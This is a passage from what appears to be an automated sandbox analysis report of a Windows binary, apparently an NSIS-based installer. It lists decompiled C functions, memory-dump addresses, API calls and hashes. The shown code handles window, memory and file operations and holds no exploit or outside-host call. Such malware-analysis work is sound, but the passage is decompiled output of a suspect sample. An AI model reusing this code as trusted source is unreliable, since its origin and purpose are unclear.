                                                                                                        					_v16.lbStyle = _t49[2];
                                                                                                        					_t40 = _t49[3];
                                                                                                        					if(_t40 != 0) {
                                                                                                        						DeleteObject(_t40);
                                                                                                        					}
                                                                                                        					_t49[3] = CreateBrushIndirect( &_v16);
                                                                                                        				}
                                                                                                        				return _t49[3];
                                                                                                        			}








                                                                                                        0x00403f91
                                                                                                        0x00404025
                                                                                                        0x00000000
                                                                                                        0x00404025
                                                                                                        0x00403fa2
                                                                                                        0x00403fa6
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403fac
                                                                                                        0x00403fb5
                                                                                                        0x00403fb8
                                                                                                        0x00403fb8
                                                                                                        0x00403fbe
                                                                                                        0x00403fc4
                                                                                                        0x00403fc4
                                                                                                        0x00403fd0
                                                                                                        0x00403fd6
                                                                                                        0x00403fdd
                                                                                                        0x00403fe0
                                                                                                        0x00403fe3
                                                                                                        0x00403fe5
                                                                                                        0x00403fe5
                                                                                                        0x00403fed
                                                                                                        0x00403ff3
                                                                                                        0x00403ff3
                                                                                                        0x00403ffd
                                                                                                        0x00404002
                                                                                                        0x00404005
                                                                                                        0x0040400a
                                                                                                        0x0040400d
                                                                                                        0x0040400d
                                                                                                        0x0040401d
                                                                                                        0x0040401d
                                                                                                        0x00000000

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                                                                                        • String ID:
                                                                                                        • API String ID: 2320649405-0
                                                                                                        • Opcode ID: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
                                                                                                        • Instruction ID: 4cc26f8bf5fc777f430f8318c3ba194748f169832e683f7fcd21add738ba3f9d
                                                                                                        • Opcode Fuzzy Hash: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
                                                                                                        • Instruction Fuzzy Hash: C221C371904705ABCB209F78DD08B4BBBF8AF40711F048A29F992F26E0C738E904CB55
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 77%
                                                                                                        			E6FC724D8(intOrPtr* _a4) {
                                                                                                        				char _v80;
                                                                                                        				int _v84;
                                                                                                        				intOrPtr _v88;
                                                                                                        				short _v92;
                                                                                                        				intOrPtr* _t28;
                                                                                                        				void* _t30;
                                                                                                        				intOrPtr _t31;
                                                                                                        				signed int _t43;
                                                                                                        				void* _t44;
                                                                                                        				intOrPtr _t45;
                                                                                                        				void* _t48;
                                                                                                        
                                                                                                        				_t44 = E6FC71215();
                                                                                                        				_t28 = _a4;
                                                                                                        				_t45 =  *((intOrPtr*)(_t28 + 0x814));
                                                                                                        				_v88 = _t45;
                                                                                                        				_t48 = (_t45 + 0x41 << 5) + _t28;
                                                                                                        				do {
                                                                                                        					if( *((intOrPtr*)(_t48 - 4)) >= 0) {
                                                                                                        					}
                                                                                                        					_t43 =  *(_t48 - 8) & 0x000000ff;
                                                                                                        					if(_t43 <= 7) {
                                                                                                        						switch( *((intOrPtr*)(_t43 * 4 +  &M6FC72626))) {
                                                                                                        							case 0:
                                                                                                        								 *_t44 = 0;
                                                                                                        								goto L17;
                                                                                                        							case 1:
                                                                                                        								__eax =  *__eax;
                                                                                                        								if(__ecx > __ebx) {
                                                                                                        									_v84 = __ecx;
                                                                                                        									__ecx =  *(0x6fc7307c + __edx * 4);
                                                                                                        									__edx = _v84;
                                                                                                        									__ecx = __ecx * __edx;
                                                                                                        									asm("sbb edx, edx");
                                                                                                        									__edx = __edx & __ecx;
                                                                                                        									__eax = __eax &  *(0x6fc7309c + __edx * 4);
                                                                                                        								}
                                                                                                        								_push(__eax);
                                                                                                        								goto L15;
                                                                                                        							case 2:
                                                                                                        								__eax = E6FC71429(__edx,  *__eax,  *((intOrPtr*)(__eax + 4)), __edi);
                                                                                                        								goto L16;
                                                                                                        							case 3:
                                                                                                        								__eax = lstrcpynA(__edi,  *__eax,  *0x6fc7405c);
                                                                                                        								goto L17;
                                                                                                        							case 4:
                                                                                                        								__ecx =  *0x6fc7405c;
                                                                                                        								__edx = __ecx - 1;
                                                                                                        								__eax = WideCharToMultiByte(__ebx, __ebx,  *__eax, __ecx, __edi, __edx, __ebx, __ebx);
                                                                                                        								__eax =  *0x6fc7405c;
                                                                                                        								 *((char*)(__eax + __edi - 1)) = __bl;
                                                                                                        								goto L17;
                                                                                                        							case 5:
                                                                                                        								__ecx =  &_v80;
                                                                                                        								_push(0x27);
                                                                                                        								_push(__ecx);
                                                                                                        								_push( *__eax);
                                                                                                        								__imp__StringFromGUID2();
                                                                                                        								__eax =  &_v92;
                                                                                                        								__eax = WideCharToMultiByte(__ebx, __ebx,  &_v92,  &_v92, __edi,  *0x6fc7405c, __ebx, __ebx);
                                                                                                        								goto L17;
                                                                                                        							case 6:
                                                                                                        								_push( *__esi);
                                                                                                        								L15:
                                                                                                        								__eax = wsprintfA(__edi, 0x6fc74000);
                                                                                                        								L16:
                                                                                                        								__esp = __esp + 0xc;
                                                                                                        								goto L17;
                                                                                                        						}
                                                                                                        					}
                                                                                                        					L17:
                                                                                                        					_t30 =  *(_t48 + 0x14);
                                                                                                        					if(_t30 != 0 && ( *_a4 != 2 ||  *((intOrPtr*)(_t48 - 4)) > 0)) {
                                                                                                        						GlobalFree(_t30);
                                                                                                        					}
                                                                                                        					_t31 =  *((intOrPtr*)(_t48 + 0xc));
                                                                                                        					if(_t31 != 0) {
                                                                                                        						if(_t31 != 0xffffffff) {
                                                                                                        							if(_t31 > 0) {
                                                                                                        								E6FC712D1(_t31 - 1, _t44);
                                                                                                        								goto L26;
                                                                                                        							}
                                                                                                        						} else {
                                                                                                        							E6FC71266(_t44);
                                                                                                        							L26:
                                                                                                        						}
                                                                                                        					}
                                                                                                        					_v88 = _v88 - 1;
                                                                                                        					_t48 = _t48 - 0x20;
                                                                                                        				} while (_v88 >= 0);
                                                                                                        				return GlobalFree(_t44);
                                                                                                        			}














                                                                                                        0x6fc724e4
                                                                                                        0x6fc724e6
                                                                                                        0x6fc724f0
                                                                                                        0x6fc724f6
                                                                                                        0x6fc72500
                                                                                                        0x6fc72504
                                                                                                        0x6fc72509
                                                                                                        0x6fc72509
                                                                                                        0x6fc72511
                                                                                                        0x6fc72518
                                                                                                        0x6fc7251e
                                                                                                        0x00000000
                                                                                                        0x6fc72525
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc7252c
                                                                                                        0x6fc72530
                                                                                                        0x6fc72533
                                                                                                        0x6fc72537
                                                                                                        0x6fc7253e
                                                                                                        0x6fc72542
                                                                                                        0x6fc72548
                                                                                                        0x6fc7254a
                                                                                                        0x6fc7254c
                                                                                                        0x6fc7254c
                                                                                                        0x6fc72553
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc7255c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc7256c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc72598
                                                                                                        0x6fc725a0
                                                                                                        0x6fc725aa
                                                                                                        0x6fc725ac
                                                                                                        0x6fc725b1
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc72574
                                                                                                        0x6fc72578
                                                                                                        0x6fc7257a
                                                                                                        0x6fc7257b
                                                                                                        0x6fc7257d
                                                                                                        0x6fc7258d
                                                                                                        0x6fc72594
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc725b7
                                                                                                        0x6fc725b9
                                                                                                        0x6fc725bf
                                                                                                        0x6fc725c5
                                                                                                        0x6fc725c5
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc7251e
                                                                                                        0x6fc725c8
                                                                                                        0x6fc725c8
                                                                                                        0x6fc725cd
                                                                                                        0x6fc725de
                                                                                                        0x6fc725de
                                                                                                        0x6fc725e4
                                                                                                        0x6fc725e9
                                                                                                        0x6fc725ee
                                                                                                        0x6fc725fa
                                                                                                        0x6fc725ff
                                                                                                        0x00000000
                                                                                                        0x6fc72604
                                                                                                        0x6fc725f0
                                                                                                        0x6fc725f1
                                                                                                        0x6fc72605
                                                                                                        0x6fc72605
                                                                                                        0x6fc725ee
                                                                                                        0x6fc72606
                                                                                                        0x6fc7260a
                                                                                                        0x6fc7260d
                                                                                                        0x6fc72625

                                                                                                        APIs
                                                                                                          • Part of subcall function 6FC71215: GlobalAlloc.KERNEL32(00000040,6FC71233,?,6FC712CF,-6FC7404B,6FC711AB,-000000A0), ref: 6FC7121D
                                                                                                        • GlobalFree.KERNEL32 ref: 6FC725DE
                                                                                                        • GlobalFree.KERNEL32 ref: 6FC72618
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.659624848.000000006FC71000.00000020.00020000.sdmp, Offset: 6FC70000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.659611892.000000006FC70000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659642183.000000006FC73000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659649861.000000006FC75000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Global$Free$Alloc
                                                                                                        • String ID:
                                                                                                        • API String ID: 1780285237-0
                                                                                                        • Opcode ID: b49d5e760e717c341a5370931dc841df21405563a56241643f7d4fcf2d846bb1
                                                                                                        • Instruction ID: 2c10a9388678249b871b6aaaafe206744fcc01100efba235f6598a9ca7256af7
                                                                                                        • Opcode Fuzzy Hash: b49d5e760e717c341a5370931dc841df21405563a56241643f7d4fcf2d846bb1
                                                                                                        • Instruction Fuzzy Hash: 2C41C171908212EFCB218F68CCA5CABBBFAFB86314B00456EF64187150EF31A914CF61
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 93%
                                                                                                        			E0040267C(struct _OVERLAPPED* __ebx) {
                                                                                                        				void* _t27;
                                                                                                        				long _t32;
                                                                                                        				struct _OVERLAPPED* _t47;
                                                                                                        				void* _t51;
                                                                                                        				void* _t53;
                                                                                                        				void* _t56;
                                                                                                        				void* _t57;
                                                                                                        				void* _t58;
                                                                                                        
                                                                                                        				_t47 = __ebx;
                                                                                                        				 *(_t58 - 8) = 0xfffffd66;
                                                                                                        				_t52 = E004029F6(0xfffffff0);
                                                                                                        				 *(_t58 - 0x44) = _t24;
                                                                                                        				if(E004056C6(_t52) == 0) {
                                                                                                        					E004029F6(0xffffffed);
                                                                                                        				}
                                                                                                        				E0040581E(_t52);
                                                                                                        				_t27 = E0040583D(_t52, 0x40000000, 2);
                                                                                                        				 *(_t58 + 8) = _t27;
                                                                                                        				if(_t27 != 0xffffffff) {
                                                                                                        					_t32 =  *0x423eb4;
                                                                                                        					 *(_t58 - 0x2c) = _t32;
                                                                                                        					_t51 = GlobalAlloc(0x40, _t32);
                                                                                                        					if(_t51 != _t47) {
                                                                                                        						E004031F1(_t47);
                                                                                                        						E004031BF(_t51,  *(_t58 - 0x2c));
                                                                                                        						_t56 = GlobalAlloc(0x40,  *(_t58 - 0x1c));
                                                                                                        						 *(_t58 - 0x30) = _t56;
                                                                                                        						if(_t56 != _t47) {
                                                                                                        							E00402F18(_t49,  *((intOrPtr*)(_t58 - 0x20)), _t47, _t56,  *(_t58 - 0x1c));
                                                                                                        							while( *_t56 != _t47) {
                                                                                                        								_t49 =  *_t56;
                                                                                                        								_t57 = _t56 + 8;
                                                                                                        								 *(_t58 - 0x38) =  *_t56;
                                                                                                        								E004057FE( *((intOrPtr*)(_t56 + 4)) + _t51, _t57, _t49);
                                                                                                        								_t56 = _t57 +  *(_t58 - 0x38);
                                                                                                        							}
                                                                                                        							GlobalFree( *(_t58 - 0x30));
                                                                                                        						}
                                                                                                        						WriteFile( *(_t58 + 8), _t51,  *(_t58 - 0x2c), _t58 - 8, _t47);
                                                                                                        						GlobalFree(_t51);
                                                                                                        						 *(_t58 - 8) = E00402F18(_t49, 0xffffffff,  *(_t58 + 8), _t47, _t47);
                                                                                                        					}
                                                                                                        					CloseHandle( *(_t58 + 8));
                                                                                                        				}
                                                                                                        				_t53 = 0xfffffff3;
                                                                                                        				if( *(_t58 - 8) < _t47) {
                                                                                                        					_t53 = 0xffffffef;
                                                                                                        					DeleteFileA( *(_t58 - 0x44));
                                                                                                        					 *((intOrPtr*)(_t58 - 4)) = 1;
                                                                                                        				}
                                                                                                        				_push(_t53);
                                                                                                        				E00401423();
                                                                                                        				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t58 - 4));
                                                                                                        				return 0;
                                                                                                        			}











                                                                                                        0x0040267c
                                                                                                        0x0040267e
                                                                                                        0x0040268a
                                                                                                        0x0040268d
                                                                                                        0x00402697
                                                                                                        0x0040269b
                                                                                                        0x0040269b
                                                                                                        0x004026a1
                                                                                                        0x004026ae
                                                                                                        0x004026b6
                                                                                                        0x004026b9
                                                                                                        0x004026bf
                                                                                                        0x004026cd
                                                                                                        0x004026d2
                                                                                                        0x004026d6
                                                                                                        0x004026d9
                                                                                                        0x004026e2
                                                                                                        0x004026ee
                                                                                                        0x004026f2
                                                                                                        0x004026f5
                                                                                                        0x004026ff
                                                                                                        0x0040271e
                                                                                                        0x00402706
                                                                                                        0x0040270b
                                                                                                        0x00402713
                                                                                                        0x00402716
                                                                                                        0x0040271b
                                                                                                        0x0040271b
                                                                                                        0x00402725
                                                                                                        0x00402725
                                                                                                        0x00402737
                                                                                                        0x0040273e
                                                                                                        0x00402750
                                                                                                        0x00402750
                                                                                                        0x00402756
                                                                                                        0x00402756
                                                                                                        0x00402761
                                                                                                        0x00402762
                                                                                                        0x00402766
                                                                                                        0x0040276a
                                                                                                        0x00402770
                                                                                                        0x00402770
                                                                                                        0x00402777
                                                                                                        0x00402164
                                                                                                        0x0040288e
                                                                                                        0x0040289a

                                                                                                        APIs
                                                                                                        • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 004026D0
                                                                                                        • GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,000000F0), ref: 004026EC
                                                                                                        • GlobalFree.KERNEL32 ref: 00402725
                                                                                                        • WriteFile.KERNEL32(FFFFFD66,00000000,?,FFFFFD66,?,?,?,?,000000F0), ref: 00402737
                                                                                                        • GlobalFree.KERNEL32 ref: 0040273E
                                                                                                        • CloseHandle.KERNEL32(FFFFFD66,?,?,000000F0), ref: 00402756
                                                                                                        • DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 0040276A
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Global$AllocFileFree$CloseDeleteHandleWrite
                                                                                                        • String ID:
                                                                                                        • API String ID: 3294113728-0
                                                                                                        • Opcode ID: bbe2febf2a7676208e468084a2903d6f0f847cdd20ad645bfaea5cc140744c11
                                                                                                        • Instruction ID: 719c612f4f238206e278f6e296a81204df483451b361404a9b6a09c3536a307a
                                                                                                        • Opcode Fuzzy Hash: bbe2febf2a7676208e468084a2903d6f0f847cdd20ad645bfaea5cc140744c11
                                                                                                        • Instruction Fuzzy Hash: F831AD71C00128BBDF216FA4CD89DAE7E79EF08364F10423AF920772E0C6795D419BA8
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E00404F04(CHAR* _a4, CHAR* _a8) {
                                                                                                        				struct HWND__* _v8;
                                                                                                        				signed int _v12;
                                                                                                        				CHAR* _v32;
                                                                                                        				long _v44;
                                                                                                        				int _v48;
                                                                                                        				void* _v52;
                                                                                                        				void* __ebx;
                                                                                                        				void* __edi;
                                                                                                        				void* __esi;
                                                                                                        				CHAR* _t26;
                                                                                                        				signed int _t27;
                                                                                                        				CHAR* _t28;
                                                                                                        				long _t29;
                                                                                                        				signed int _t39;
                                                                                                        
                                                                                                        				_t26 =  *0x423684;
                                                                                                        				_v8 = _t26;
                                                                                                        				if(_t26 != 0) {
                                                                                                        					_t27 =  *0x423f54;
                                                                                                        					_v12 = _t27;
                                                                                                        					_t39 = _t27 & 0x00000001;
                                                                                                        					if(_t39 == 0) {
                                                                                                        						E00405B88(0, _t39, 0x41fc78, 0x41fc78, _a4);
                                                                                                        					}
                                                                                                        					_t26 = lstrlenA(0x41fc78);
                                                                                                        					_a4 = _t26;
                                                                                                        					if(_a8 == 0) {
                                                                                                        						L6:
                                                                                                        						if((_v12 & 0x00000004) == 0) {
                                                                                                        							_t26 = SetWindowTextA( *0x423668, 0x41fc78);
                                                                                                        						}
                                                                                                        						if((_v12 & 0x00000002) == 0) {
                                                                                                        							_v32 = 0x41fc78;
                                                                                                        							_v52 = 1;
                                                                                                        							_t29 = SendMessageA(_v8, 0x1004, 0, 0);
                                                                                                        							_v44 = 0;
                                                                                                        							_v48 = _t29 - _t39;
                                                                                                        							SendMessageA(_v8, 0x1007 - _t39, 0,  &_v52);
                                                                                                        							_t26 = SendMessageA(_v8, 0x1013, _v48, 0);
                                                                                                        						}
                                                                                                        						if(_t39 != 0) {
                                                                                                        							_t28 = _a4;
                                                                                                        							 *((char*)(_t28 + 0x41fc78)) = 0;
                                                                                                        							return _t28;
                                                                                                        						}
                                                                                                        					} else {
                                                                                                        						_t26 =  &(_a4[lstrlenA(_a8)]);
                                                                                                        						if(_t26 < 0x800) {
                                                                                                        							_t26 = lstrcatA(0x41fc78, _a8);
                                                                                                        							goto L6;
                                                                                                        						}
                                                                                                        					}
                                                                                                        				}
                                                                                                        				return _t26;
                                                                                                        			}

















                                                                                                        0x00404f0a
                                                                                                        0x00404f16
                                                                                                        0x00404f19
                                                                                                        0x00404f1f
                                                                                                        0x00404f2b
                                                                                                        0x00404f2e
                                                                                                        0x00404f31
                                                                                                        0x00404f37
                                                                                                        0x00404f37
                                                                                                        0x00404f3d
                                                                                                        0x00404f45
                                                                                                        0x00404f48
                                                                                                        0x00404f65
                                                                                                        0x00404f69
                                                                                                        0x00404f72
                                                                                                        0x00404f72
                                                                                                        0x00404f7c
                                                                                                        0x00404f85
                                                                                                        0x00404f91
                                                                                                        0x00404f98
                                                                                                        0x00404f9c
                                                                                                        0x00404f9f
                                                                                                        0x00404fb2
                                                                                                        0x00404fc0
                                                                                                        0x00404fc0
                                                                                                        0x00404fc4
                                                                                                        0x00404fc6
                                                                                                        0x00404fc9
                                                                                                        0x00000000
                                                                                                        0x00404fc9
                                                                                                        0x00404f4a
                                                                                                        0x00404f52
                                                                                                        0x00404f5a
                                                                                                        0x00404f60
                                                                                                        0x00000000
                                                                                                        0x00404f60
                                                                                                        0x00404f5a
                                                                                                        0x00404f48
                                                                                                        0x00404fd3

                                                                                                        APIs
                                                                                                        • lstrlenA.KERNEL32(0041FC78,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
                                                                                                        • lstrlenA.KERNEL32(00402C4A,0041FC78,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
                                                                                                        • lstrcatA.KERNEL32(0041FC78,00402C4A,00402C4A,0041FC78,00000000,00000000,00000000), ref: 00404F60
                                                                                                        • SetWindowTextA.USER32(0041FC78,0041FC78), ref: 00404F72
                                                                                                        • SendMessageA.USER32 ref: 00404F98
                                                                                                        • SendMessageA.USER32 ref: 00404FB2
                                                                                                        • SendMessageA.USER32 ref: 00404FC0
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: MessageSend$lstrlen$TextWindowlstrcat
                                                                                                        • String ID:
                                                                                                        • API String ID: 2531174081-0
                                                                                                        • Opcode ID: 3060ff48176a0075549dcba78de7f639edbccfa172efc44d831dc49f1ba50047
                                                                                                        • Instruction ID: 33d69ec58002f5e3cec48cf4aa7ac502a1da6879986bf9ca4026f821734cd723
                                                                                                        • Opcode Fuzzy Hash: 3060ff48176a0075549dcba78de7f639edbccfa172efc44d831dc49f1ba50047
                                                                                                        • Instruction Fuzzy Hash: C4219D71A00108BBDF119FA5CD849DEBFB9EB49354F14807AFA04B6290C3389E45CBA8
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E00402BD3(intOrPtr _a4) {
                                                                                                        				char _v68;
                                                                                                        				long _t6;
                                                                                                        				struct HWND__* _t7;
                                                                                                        				struct HWND__* _t15;
                                                                                                        
                                                                                                        				if(_a4 != 0) {
                                                                                                        					_t15 =  *0x41704c; // 0x0
                                                                                                        					if(_t15 != 0) {
                                                                                                        						_t15 = DestroyWindow(_t15);
                                                                                                        					}
                                                                                                        					 *0x41704c = 0;
                                                                                                        					return _t15;
                                                                                                        				}
                                                                                                        				__eflags =  *0x41704c; // 0x0
                                                                                                        				if(__eflags != 0) {
                                                                                                        					return E00405EC1(0);
                                                                                                        				}
                                                                                                        				_t6 = GetTickCount();
                                                                                                        				__eflags = _t6 -  *0x423eac;
                                                                                                        				if(_t6 >  *0x423eac) {
                                                                                                        					__eflags =  *0x423ea8;
                                                                                                        					if( *0x423ea8 == 0) {
                                                                                                        						_t7 = CreateDialogParamA( *0x423ea0, 0x6f, 0, E00402B3B, 0);
                                                                                                        						 *0x41704c = _t7;
                                                                                                        						return ShowWindow(_t7, 5);
                                                                                                        					}
                                                                                                        					__eflags =  *0x423f54 & 0x00000001;
                                                                                                        					if(( *0x423f54 & 0x00000001) != 0) {
                                                                                                        						wsprintfA( &_v68, "... %d%%", E00402BB7());
                                                                                                        						return E00404F04(0,  &_v68);
                                                                                                        					}
                                                                                                        				}
                                                                                                        				return _t6;
                                                                                                        			}







                                                                                                        0x00402bdf
                                                                                                        0x00402be1
                                                                                                        0x00402be8
                                                                                                        0x00402beb
                                                                                                        0x00402beb
                                                                                                        0x00402bf1
                                                                                                        0x00000000
                                                                                                        0x00402bf1
                                                                                                        0x00402bf9
                                                                                                        0x00402bff
                                                                                                        0x00000000
                                                                                                        0x00402c02
                                                                                                        0x00402c09
                                                                                                        0x00402c0f
                                                                                                        0x00402c15
                                                                                                        0x00402c17
                                                                                                        0x00402c1d
                                                                                                        0x00402c5b
                                                                                                        0x00402c64
                                                                                                        0x00000000
                                                                                                        0x00402c69
                                                                                                        0x00402c1f
                                                                                                        0x00402c26
                                                                                                        0x00402c37
                                                                                                        0x00000000
                                                                                                        0x00402c45
                                                                                                        0x00402c26
                                                                                                        0x00402c71

                                                                                                        APIs
                                                                                                        • DestroyWindow.USER32(00000000,00000000), ref: 00402BEB
                                                                                                        • GetTickCount.KERNEL32 ref: 00402C09
                                                                                                        • wsprintfA.USER32 ref: 00402C37
                                                                                                          • Part of subcall function 00404F04: lstrlenA.KERNEL32(0041FC78,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
                                                                                                          • Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,0041FC78,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
                                                                                                          • Part of subcall function 00404F04: lstrcatA.KERNEL32(0041FC78,00402C4A,00402C4A,0041FC78,00000000,00000000,00000000), ref: 00404F60
                                                                                                          • Part of subcall function 00404F04: SetWindowTextA.USER32(0041FC78,0041FC78), ref: 00404F72
                                                                                                          • Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404F98
                                                                                                          • Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404FB2
                                                                                                          • Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404FC0
                                                                                                        • CreateDialogParamA.USER32(0000006F,00000000,00402B3B,00000000), ref: 00402C5B
                                                                                                        • ShowWindow.USER32(00000000,00000005), ref: 00402C69
                                                                                                          • Part of subcall function 00402BB7: MulDiv.KERNEL32(00000000,00000064,?), ref: 00402BCC
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
                                                                                                        • String ID: ... %d%%
                                                                                                        • API String ID: 722711167-2449383134
                                                                                                        • Opcode ID: f8ace1eb95c0e61b2c61dafef86db0eeb17deac8452a01d8f5baf0090805ef89
                                                                                                        • Instruction ID: c44cf6bb529b7c61e0c77009ed50883557557090b8ffabf6f859222ef57aaf40
                                                                                                        • Opcode Fuzzy Hash: f8ace1eb95c0e61b2c61dafef86db0eeb17deac8452a01d8f5baf0090805ef89
                                                                                                        • Instruction Fuzzy Hash: C6016170949210EBD7215F61EE4DA9F7B78AB04701B14403BF502B11E5C6BC9A01CBAE
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E004047D3(struct HWND__* _a4, intOrPtr _a8) {
                                                                                                        				long _v8;
                                                                                                        				signed char _v12;
                                                                                                        				unsigned int _v16;
                                                                                                        				void* _v20;
                                                                                                        				intOrPtr _v24;
                                                                                                        				long _v56;
                                                                                                        				void* _v60;
                                                                                                        				long _t15;
                                                                                                        				unsigned int _t19;
                                                                                                        				signed int _t25;
                                                                                                        				struct HWND__* _t28;
                                                                                                        
                                                                                                        				_t28 = _a4;
                                                                                                        				_t15 = SendMessageA(_t28, 0x110a, 9, 0);
                                                                                                        				if(_a8 == 0) {
                                                                                                        					L4:
                                                                                                        					_v56 = _t15;
                                                                                                        					_v60 = 4;
                                                                                                        					SendMessageA(_t28, 0x110c, 0,  &_v60);
                                                                                                        					return _v24;
                                                                                                        				}
                                                                                                        				_t19 = GetMessagePos();
                                                                                                        				_v16 = _t19 >> 0x10;
                                                                                                        				_v20 = _t19;
                                                                                                        				ScreenToClient(_t28,  &_v20);
                                                                                                        				_t25 = SendMessageA(_t28, 0x1111, 0,  &_v20);
                                                                                                        				if((_v12 & 0x00000066) != 0) {
                                                                                                        					_t15 = _v8;
                                                                                                        					goto L4;
                                                                                                        				}
                                                                                                        				return _t25 | 0xffffffff;
                                                                                                        			}














                                                                                                        0x004047e1
                                                                                                        0x004047ee
                                                                                                        0x004047f4
                                                                                                        0x00404832
                                                                                                        0x00404832
                                                                                                        0x00404841
                                                                                                        0x00404848
                                                                                                        0x00000000
                                                                                                        0x0040484a
                                                                                                        0x004047f6
                                                                                                        0x00404805
                                                                                                        0x0040480d
                                                                                                        0x00404810
                                                                                                        0x00404822
                                                                                                        0x00404828
                                                                                                        0x0040482f
                                                                                                        0x00000000
                                                                                                        0x0040482f
                                                                                                        0x00000000

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
